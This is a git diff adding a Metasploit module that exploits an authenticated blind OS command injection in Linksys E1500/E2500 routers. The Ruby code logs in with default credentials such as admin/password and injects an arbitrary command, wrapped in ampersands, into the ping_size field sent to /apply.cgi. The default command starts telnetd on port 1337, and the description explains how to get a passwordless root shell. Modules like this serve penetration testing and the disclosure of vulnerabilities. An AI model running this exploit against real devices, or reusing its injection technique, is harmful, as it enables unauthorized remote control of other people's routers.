diff --git a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb new file mode 100644 index 0000000000..fb63ccc2ec --- /dev/null +++ b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb @@ -0,0 +1,112 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linksys E1500/E2500 Remote OS Command Execution', + 'Description' => %q{ + Some Linksys Routers are vulnerable to OS Command injection. + You will need credentials to the webinterface to access the vulnerable part + of the application. Default credentials are always a good starting point. + admin/admin or admin/password could be a first try. + Note: This is a blind os command injection vulnerability. This means that you will + not see any output of your command. Try a ping command to your local system for a + first test. + + Hint: To get a remote shell you could start telnetd and touch /etc/group. Use the + user root without a password for accessing the device. + }, + 'Author' => [ 'm-1-k-3' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://homesupport.cisco.com/de-eu/support/routers/E1500' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ], + [ 'EDB', '24475' ], + [ 'OSVDB', '89912' ], + [ 'BID', '57760' ] + ], + 'DisclosureDate' => 'Feb 05 2013')) + + register_options( + [ + OptString.new('USERNAME',[ true, 'User to login with', 'admin']), + OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), + OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337']) + ], self.class) + end + + def run + uri = '/apply.cgi' + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") + + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET', + 'authorization' => basic_auth(user,pass) + }) + + return if res.nil? + return if (res.code == 404) + + if [200, 301, 302].include?(res.code) + print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") + else + print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + return + end + + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return + end + + + print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD']) + + cmd = datastore['CMD'] + #original post request: + #data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping& + #action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip=" + + vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}") + begin + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'authorization' => basic_auth(user,pass), + 'vars_post' => { + "submit_button" => "Diagnostics", + "change_action" => "gozila_cgi", + "submit_type" => "start_ping", + "action" => "", + "commit" => "0", + "ping_ip" => "1.1.1.1", + "ping_size" => "&#{cmd}&", + "ping_times" => "5", + "traceroute_ip" => "" + } + }) + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return + end + print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") + print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed") + end +end